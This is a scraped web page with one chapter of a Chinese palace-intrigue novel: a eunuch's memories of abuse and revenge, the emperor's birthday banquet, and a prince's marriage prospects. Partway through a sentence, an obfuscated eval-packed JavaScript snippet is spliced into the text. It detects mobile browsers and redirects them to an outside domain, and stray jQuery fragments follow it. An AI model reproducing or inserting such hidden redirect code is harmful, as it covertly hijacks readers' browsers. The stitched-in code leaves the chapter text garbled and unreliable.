默认冷灰
24号文字
方正启体

5. 人心事

作者:遂初本书字数:K更新时间:
    腊日是个很重要的节日,宫里伺候的宫人也是要过的,在早上皇室的祭祀和宴会过后,宫人便能轻省一些,这一天宫里的规矩不会那么严苛,他们自己也能去热闹热闹,徐青弦也得了空,他没有和其他人一样出去找相识的玩乐,只是去了花苑讨了一盆杜蘅便回了自己的住所。


    杜蘅不是名贵花木,多用来入药或作香料,花苑的人很爽快便给了,徐青弦给它浇了些水,将它安置在靠近窗户的桌前,阳光半遮挡着着,不会晒到,他特意问过习性,喜暖湿厌干燥的植物,安置在这里正好。


    他的住所不算宽敞,与另一个内侍同住,东西收拾得齐整,一盆绿意葱茏的草植添了进来,倒多了抹亮色。


    此时只他一人,在自己的屋里放松下来了,徐青弦才感觉到手心疼,他摊开手掌,上面指甲掐出来的伤痕,深深的几个血印子,血渍污在旁边,隐隐作痛。


    他看了片刻,静默地坐在平日整理仪容的桌子前,从一个抽屉里取出药膏。


    半指长的药罐子里面还剩下一半的膏药,他用木片取出一点,轻轻抹在掌心的伤痕上。他已经很久没有用过这瓶药膏了。


    徐青弦看着手上的伤口,眼里一片阴沉,抬眼时瞥到一旁那盆杜蘅,那些阴戾的情绪才褪去些许,他伸出手去触摸杜蘅的叶子,看到自己指甲残留的血渍时又收了回来。


    他便这么怔忡地盯着那盆杜蘅,想起来三年前那个冬天,也是这样冷的天,也是这样孤立无援的境地。


    彼时梁美人正得宠,她性情娇纵,却很得宠,有一日她一只颇为喜爱的簪子不见了,那时他正得罪了那个老阉狗,因此被诬陷偷盗,梁美人听信,没人敢替他说话,他百口莫辩,受了廷杖。


    行完刑后,他被带走,却是在半路血淋淋地被丢在花丛里,奄奄一息几乎死去,就在他以为自己真的要死在那天的时候,恰逢广陵王经过那里,恍惚之间,他听见他吩咐人将他送去太医署。


    他养了三个多月,当时救下他一命的广陵王早已离开长安。因为不能走动,又要敷药,更怕被这么挪出宫去,少不了上下打点,伤口勉强算好全的时候,几年积蓄都耗了个干净。


    在他受刑后半个月,那个老阉狗带着人到他的住所,看着他去了半条命的样子,语气轻蔑的对他说,“美人的簪子找到了,美人心善,念在不小心冤了你的份上,将簪子赏你了,你这贱命倒是硬,这簪子可比你的命值钱多了,接赏吧。”


    那簪子是掷到他身上的,尾端锋利,一下子刺破衣裳划到了皮肉上,霎时血流如注。手臂上那道长疤,就是这么来的。


    徐青弦目光沉沉看着镜子里自己的脸,比起三年前他长开了许多,容色也更甚。


    后来....


    后来啊,他想尽办法入了中常侍曹桉的眼,被提拔到未央宫伺候,终于摆脱了那只阉狗的磋磨,而圣宠优渥的梁美人却在花苑里不小心伤了脸,又不小心触怒了皇帝,被废入永巷,她身边那条阉狗因为窥探帝踪,乱棍打死了。


    这三年来他在未央宫小心谨慎,如履薄冰,事事周全让中常侍曹桉更加看重他,才算熬到成了御前近侍,他努力地让自己摆脱人尽可辱的境地,可是到头来遇到欺辱时还是这样无能为力。


    面对权力稍大一点的人,他还是只能示弱,只能周旋,只能求饶,只能……再一次靠他救。


    为人奴婢,就是这样卑贱如蝼蚁,轻易就能被碾死。


    徐青弦死死咬着嘴唇内壁的软肉,血腥味在嘴里弥漫开来,这疼却比不过他心里不甘心的万一,他不甘心,不甘心人为刀狙他却只能为鱼肉,不甘心命运全由旁人支配,不甘心只能一辈子只能任人摆弄。


    他松开牙齿,嘴里那块软肉已经疼得麻木,唇瓣却愈显殷红,雪肤红唇,衬得容色不减反增。


    想起那些垂涎的眼神,那些轻蔑的污言秽语,徐青弦眼里闪过痛恨,满心作呕,恰如楚暄所料,这张脸于他来说是祸害,可他不能毁了它,相貌有损的宫人只能发落到偏僻的宫殿做些洒扫的活计。


    在那只老阉狗死后他就试过用脂粉掩盖,却在敷上粉之后没多久脸上就开始起红点,疼痒难耐,养了许多天才好,最后只能作罢,他总是规矩地垂着头,低眉顺眼不敢招摇,纵这百般谨慎却还是会招上祸患。


    冰凉的指尖轻轻抚摸过清丽的眉眼,俊秀的鼻梁,状如花瓣的嘴唇,这是一张和后宫宠妃媲美也毫不见绌的脸,又因为年纪轻,更是惹人怜爱。


    生有一副好相貌不是他的错,更不是他被欺辱的理由。


    他的手缓缓往下落,搭放在有些松散的襟领上,指尖摩挲了一下,仿佛上面还留着什么东西。


    徐青弦眉眼弥漫起一团阴郁,一片阴影打落在他半边脸上,衬得这个年岁不大相貌出色的少年气质有些阴翳,仿佛是某种披着人皮的精怪。


    ——————————————————


    腊日后没几天就是万寿节,楚暄从几个月前就已经备下生辰礼,广陵盛产奇木和丝绸,他让人送来的是一座书屏,上好的梨花木做的架子,屏面用的最是精细费工的缂丝,又请了广陵最好的绣娘绣上千里江山图,外面再封上一层通透清澈的琉璃,耗时颇长,极其华美,一路让人从广陵送到京城,在万寿节那日送到皇宫。


    皇帝万寿,藩国王侯,各郡臣工,都不远千里赶赴京师,京城本就繁华,这几日尤甚,常有服饰各异的外族人出现,


    真正到万寿节这一日,阳光温煦,天朗气清,光景极佳,京城各处都仿若焕扫一新,一大早权贵居处的东西坊间一辆辆宝马香车从巷子里驶出来,往宫城的方向汇去。


    楚暄一早进宫,跟随在年长的齐王身边,他在皇帝的儿子里面行九,前头四皇子病逝,五皇子、八皇子夭亡,其他几个兄长年纪都长他许多,一比起来,他就显得太过年轻了些,轮不到他来抗事。


    遇上西海王时被他不阴不阳刺了几句,楚暄心中厌烦,面上客客气气地挡了回去。


    将近正午的时候,众人才赶往寿宴所在的万象宫等着皇帝到来。


    没等多久圣驾便到,今日还有不少外邦之臣在,为显威仪,这场万寿办得很隆重,皇帝着冕服,身旁内侍和侍卫环绕,从大殿门口徐徐登上首位。


    楚暄朝皇帝身边看了一眼,抬眼就撞见一个略显熟悉的身影,规行矩步跟在后头,须臾他收回目光,随众人行礼。


    适逢生辰,大概皇帝也有几分开怀,神色之间看着精爽不少。一旁的乐师缓缓弹奏,乐声悠扬而轻盈,待皇帝落座后,诸王便率先出席给皇帝祝寿,各臣子随后而贺。


    他们給皇帝祝完寿,有侍者在一旁唱着外邦使臣带来的献礼。


    楚暄静默听着,无声饮着酒。


    前几年皇帝寿辰,没有下诏让他们回京,便只能遣使者进京,今年不同了,皇子亲身祝寿,大约一个个都绞尽脑汁,力求拿出来的寿礼又贵重又能讨皇帝欢心。


    由此他不禁感叹,想来凡是皇帝都是忌讳有人窥伺他的权力的,尤其最忌讳他长成的儿子,所以除了太子,其他儿子一到束发的年纪就被赶去藩地,既不许生母随同,又不许与京城联络,手里又还没有可以直接调动的兵权,哪怕想争皇位,也是心有余力不足。


    这的确很有效,年少去国,连带着皇子想要在京城培植自己的势力都很难。譬如李夫人和楚暄的人手,便只能在后宫照应,于朝廷之事,却完全插不上手。


    以至于他们如今被皇帝引着同台相争,所有的风波诡谲,皇帝几乎看的一清二楚。所有算计,得失,勾联,平衡,都握在皇帝手里,他是一匹老去的狼王,但是只要权力还牢牢在他手里,就没有人敢僭越,高居帝王之位,冷眼观察着他的儿子们明里暗里的争斗,准备选出一头又听话又凶猛的狼。


    楚暄抬头,遥遥朝皇帝敬酒,透过冕旒看见一双不怒自威的眼眸,他垂下头,一饮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285573|182572||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    而尽。


    午宴过后,众人散去,皇帝回宫休憩,楚暄离席前见李夫人有所示意,便去了昭阳宫一趟,到的时候里面倒不只李夫人,还有他的大舅母王氏。


    李家人丁不算兴旺,李夫人父亲早逝,家中只有母亲和两个兄长两个妹妹,所以楚暄没有外祖父,李家本就门第寒微,子弟也是资质平平,一直到李夫人生下皇子的时候,楚暄两个舅舅才得些许提拔,完全可以说李家一家的体面和富贵,都系在裙带之间。


    王氏一见楚暄,忙起来见礼,“见过殿下。”


    楚暄先行了礼:“见过母妃”,才温和道:“舅母不必多礼。不知舅母在,是孤来的不是时候。”


    王氏是个面容看着很和气的女人,见楚暄态度亲和,也放松了一些,“殿下哪里的话,只是想着许久未与夫人见面,才过来说说话罢了。殿下不来,臣妇也差不多该回府了。”


    李夫人对这个大嫂还是很亲近的,“你不妨再坐一会。”


    “多谢夫人美意,家中也是诸事繁杂,殿下如今长成,难得入宫来,夫人与殿下说说话正好呢。臣妇便先告退了。”


    王氏说完福了福身,便十分规矩地跟着李夫人身边的侍女往外走,楚暄让身边近侍跟上以表送她。


    他落了座,侍女忙撤去用过的碗具点心,重新送了新的上来,楚暄饮了杯花茶,不太合意,刚放下了杯子,便听李夫人问道:“你可知你舅母为何而来。”


    “为何而来?”楚暄诧异。


    李夫人嘴角含笑,鬓发间的步摇上面的流苏微微晃动。


    她不再卖关子,“是你的婚事。你舅母过来试探口风,意在将你芩表妹嫁予你。”


    楚暄一听反而不在意了,“阿娘难道应下舅母了?”


    他大舅舅的女儿,他的嫡亲表妹李芩,年十六,听说出落得很是美貌,才情也不俗,往日常进宫陪伴李夫人,很是讨她喜欢。


    楚暄是皇子又是外甥,还未曾婚配,若能让李芩成为广陵王后,日后李家的富贵也就多了一重保障了,李家人有这种想法也不足为奇。


    “自是没有,”李夫人嗔了儿子一眼,若说三年前她可能还有这样的想法,让外甥女做儿媳妇,亲上加亲,她的母家日后也有所依仗,可是今时不同往日了,她再喜欢李芩,再让李芩嫁给楚暄,可就完全浪费掉广陵王后这个位子了。


    “你表妹若要成婚,为娘也愿意给她做主一个如意郎君。倒是你,你几个皇兄在你这个年纪,儿女早就不知几个了,你为着守孝婚事耽误至今,我才心急啊。”


    “阿娘何必着急,”楚暄给她添了盏花茶,不急不缓,“也无须到父皇面前去多言,今年皇祖母孝期刚过,皇后又薨逝,此时不应张扬,儿臣晚些成婚也无甚大碍的,阿娘宽心。”


    “我何尝不知道,”李夫人蹙着一双精致的眉,“早知道当时就该给你定下婚事,当初赶上太后仙逝,如今又是如此凑巧。”


    她无奈道:“要你成婚,也不只是为旁计,更是要你身边有个贴心人。你若是成婚了,不只王后能照料你,为娘说不定也有含饴弄孙的时候。”


    李夫人话一转,“不能娶妻,不若阿娘给你挑几个伶俐的婢女服侍你。”


    楚暄装糊涂:“阿娘不必费心了,儿臣身边有幕僚有属官,皆是难得的人才,最是能替儿臣分忧,现在正是忙的时候,儿子也没那些心思。”


    他抬头看了一眼一旁的沙漏,“不早了,儿臣有些乏,先回清宁宫了。”


    楚暄行了礼,往外走去,李夫人阻拦不及,叹了一声,“这怎么能一样…..”


    清宁宫是楚暄旧时在宫里居住的宫殿,今日庆皇帝万寿,夜来还有一场家宴,他索性没有出宫,在清宁宫休憩。


    待到暮色四起,楚暄另换了一身衣裳,再度赴宴,宫殿明亮如昼,雅乐不绝,皇帝高坐其上,宗亲贺寿,妃嫔环绕,子女成群,见之其乐融融,一派欢欣的场面。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)